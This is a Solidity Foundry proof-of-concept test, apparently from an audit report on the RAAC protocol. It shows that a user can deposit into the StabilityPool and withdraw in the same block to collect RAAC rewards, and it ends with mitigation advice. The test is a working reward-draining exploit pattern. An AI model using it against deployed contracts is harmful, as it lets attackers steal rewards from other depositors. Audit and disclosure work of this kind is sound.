import {Test, console} from "forge-std/Test.sol";
import {RAACHousePrices} from "../contracts/core/primitives/RAACHousePrices.sol";
import {RAACNFT} from "../contracts/core/tokens/RAACNFT.sol";
import {RAACToken} from "../contracts/core/tokens/RAACToken.sol";
import {DEToken} from "../contracts/core/tokens/DEToken.sol";
import {RToken} from "../contracts/core/tokens/RToken.sol";
import {crvUSDToken} from "../contracts/mocks/core/tokens/crvUSDToken.sol";
import {RAACMinter} from "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import {LendingPool} from "../contracts/core/pools/LendingPool/LendingPool.sol";
import {StabilityPool} from "../contracts/core/pools/StabilityPool/StabilityPool.sol";
contract POC is Test {
RAACToken raacToken;
RAACMinter raacMinter;
LendingPool lendingPool;
crvUSDToken reserveAssetAddress;
RToken rToken;
DEToken deToken;
RAACNFT raacNFT;
RAACHousePrices housePrices;
StabilityPool stabilityPool;
address owner = makeAddr("owner");
address user = makeAddr("user");
address user2 = makeAddr("user2");
function setUp() public {
vm.warp(2 days);
vm.startPrank(owner);
raacToken = new RAACToken( owner, 0, 0);
reserveAssetAddress = new crvUSDToken(owner);
rToken = new RToken("R TOKEN","RTKN", owner, address(reserveAssetAddress));
deToken = new DEToken("DE TOKEN", "DE", owner,address(rToken));
housePrices = new RAACHousePrices(owner);
raacNFT = new RAACNFT(address(reserveAssetAddress), address(housePrices), owner);
lendingPool = new LendingPool(address(reserveAssetAddress), address(rToken), address(deToken), address(raacNFT),address(housePrices), 1e26);
stabilityPool = new StabilityPool(address(this));
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), owner);
stabilityPool.initialize(address(rToken), address(deToken), address(raacToken), address(raacMinter), address(reserveAssetAddress), address(lendingPool));
raacToken.setMinter(address(raacMinter));
vm.stopPrank();
vm.startPrank(address(raacMinter));
raacToken.mint(user, 10 ether);
raacToken.mint(user2, 10 ether);
vm.stopPrank();
vm.startPrank(address(owner));
rToken.setReservePool(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
rToken.transferOwnership(address(lendingPool));
deToken.transferOwnership(address(lendingPool));
uint256 mintAmount = 1000 ether;
reserveAssetAddress.mint(user, mintAmount);
reserveAssetAddress.mint(user2, mintAmount);
vm.stopPrank();
vm.startPrank(address(lendingPool));
rToken.mint(address(lendingPool), user, mintAmount, 1e27);
rToken.mint(address(lendingPool), user2, mintAmount, 1e27);
}
function test_POC() public {
vm.warp(block.timestamp + 2 weeks);
vm.roll(4);
vm.startPrank(user);
rToken.approve(address(stabilityPool), 1 ether);
stabilityPool.deposit(1 ether);
vm.stopPrank();
vm.startPrank(user2);
vm.roll(6);
rToken.approve(address(stabilityPool), 1 ether);
uint256 initialBalance = raacToken.balanceOf(address(user2));
stabilityPool.deposit(1 ether);
stabilityPool.withdraw(1 ether);
uint256 closingBalance = raacToken.balanceOf(address(user2));
vm.stopPrank();
assert(closingBalance > initialBalance);
}
}
To prevent this exploitation, consider implementing a minimum lock-up period for deposits before rewards can be claimed. Alternatively, a vesting mechanism for rewards or a withdrawal penalty could be introduced to discourage rapid deposit-withdraw cycles while ensuring fair reward distribution.